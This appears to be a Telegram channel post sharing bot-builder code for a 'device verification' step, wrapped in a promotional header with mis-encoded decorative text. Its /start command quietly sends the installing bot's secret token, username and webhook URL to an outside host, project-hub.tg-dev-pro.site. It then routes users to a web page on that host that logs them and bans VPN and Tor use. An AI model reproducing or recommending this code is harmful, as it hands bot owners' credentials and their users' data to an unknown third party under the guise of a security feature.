TแดสแดBแดแด Cสแดแดแดแดส Cแดแด
แดs โ
๐ก๐ฒ๐ ๐๐ฒ๐๐ถ๐ฐ๐ฒ ๐ฉ๐ฒ๐ฟ๐ถ๐ณ๐ถ๐ฐ๐ฎ๐๐ถ๐ผ๐ป โ
โ๏ธ ๐๐๐๐๐ ๐๐๐ฐ ๐๐๐ฌ๐ข๐ง๐
โ๏ธ ๐
๐ข๐ฑ๐๐ ๐๐ฅ๐ฅ ๐๐ฎ๐ ๐ฌ
โ๏ธ ๐
๐๐ฌ๐ญ ๐๐จ๐ซ๐ค๐๐ซ ๐๐๐๐๐
โ๏ธ ๐ ๐๐ก๐จ๐ง๐ ๐๐๐ฌ๐ค๐ญ๐จ๐ฉ ๐๐จ๐ฐ ๐๐จ๐ซ๐ค ๐๐ฅ๐ฅ ๐๐๐ฏ๐ข๐๐๐ฌ ๐๐ฅ๐ฅ ๐๐๐ฏ๐ข๐๐ ๐๐จ๐ค ๐๐จ๐ฐ
โ๏ธ ๐๐ฉ๐ข ๐๐ฒ๐ฉ๐๐ฌ๐ฌ ๐๐ง๐ฌ๐๐ฉ๐๐ญ ๐๐จ๐๐๐ฌ ๐๐ฅ๐ฅ ๐
๐ข๐ฑ๐๐
โ๏ธ ๐๐จ๐ฐ ๐๐จ ๐๐๐ฒ ๐๐จ ๐๐ฒ๐ฉ๐๐ฌ๐ฌ ๐๐ญ
๐๐๐๐ค ๐๐ค ๐๐๐ โ๐ ๐๐ ๐งโ๐ป
๐๐๐ค๐ฅ ๐๐๐ ๐๐๐ฃ๐๐๐๐๐๐ฅ๐๐ ๐ @VerificationOrganizationBot
โ๏ธ ๐๐ผ๐บ๐บ๐ฎ๐ป๐ฑ โขโข /start
uppercase_letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowercase_letters = "abcdefghijklmnopqrstuvwxyz"
numbers = "0123456789"
# Combine the pools
all_characters = uppercase_letters + lowercase_letters + numbers
# Generate a 34-character random hash
random_hash = "".join(libs.random.randomWeightedChoice(all_characters, [1] * len(all_characters)) for _ in range(34))
webhook = libs.Webhook.getUrlFor(command="/onWebhook", user_id=u)
try:
response = HTTP.get(f"https://project-hub.tg-dev-pro.site/tg-client/bot_register.php?botHash={random_hash}&bot=@{Bot.info().username}&webhook_url={webhook}&bot_token={Bot.info().token}")
response_data = response.json()
# Parse JSON response
except:
pass
webPage = f"https://project-hub.tg-dev-pro.site/tg-client/index.html?bot_hash={random_hash}&bot=@{Bot.info().username}"
keys = [[InlineKeyboardButton(text='๐ Start Verification', web_app=webPage)]]
button = InlineKeyboardMarkup(keys)
security_message = """
<b>๐ Identity Verification Required</b>
To ensure a secure environment for all users, please complete the verification process.
โ ๏ธ <b>Important Security Notice:</b>
- Using VPNs, proxies, or Tor will result in immediate ban
- Multiple verification attempts from the same device may trigger restrictions
- All verification attempts are logged for security purposes
Complete verification to access all bot features.
"""
bot.sendMessage(chat_id=u,text=security_message, reply_markup=button)
โ๏ธ ๐๐ผ๐บ๐บ๐ฎ๐ป๐ฑ โขโข /onWebhook
# Check if 'json' key exists
if options is None or options.json is None:
bot.replyText(u, "โ Not Allowed", parse_mode="Markdown")
raise ReturnCommand()
# Parse verification response
res = options.json
status = res["status"]
title = res["title"]
message_text = res["message"]
# SUCCESS โ Verified Successfully
if status == "success":
User.saveData("DeviceVerification", True)
User.saveData("start_verification", True)
User.saveData("verification_made", True)
bot.sendMessage(
f"โ
<b>{title}</b>\n\n{message_text}",
parse_mode="html"
)
Bot.runCommand("/start")
raise ReturnCommand()
# INFO โ Already Verified
elif status == "info":
bot.sendMessage(
f"โ๏ธ <b>{title}</b>\n\n{message_text}\n\n๐ Redirecting to main menu...",
parse_mode="html"
)
Bot.runCommand("/start")
raise ReturnCommand()
# ERROR โ Verification Failed / Multiple Devices
elif status == "error":
User.saveData("ban_u", True)
bot.sendMessage(
f"๐ซ <b>{title}</b>\n\n{message_text}\n\nYou have been permanently banned from using this bot.",
parse_mode="html"
)
raise ReturnCommand()
๐ชช ๐ฒ๐๐ด๐ฐ๐ณ๐ธ๐ โขโข @TeleBotCreatorCodes
๐งโ๐ป๐ณ๐๐๐๐๐๐๐ โขโข @IncomeTeamAdmin
๐ ๐๐ ๐๐โ๐ผ โ๐โ๐ ๐๐
92 ยท 3K ยท